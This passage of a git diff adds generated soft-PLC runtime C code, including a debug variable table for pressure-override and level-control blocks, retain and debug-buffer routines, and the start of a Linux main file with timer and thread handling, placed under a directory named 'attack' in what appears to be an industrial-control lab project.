+{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = 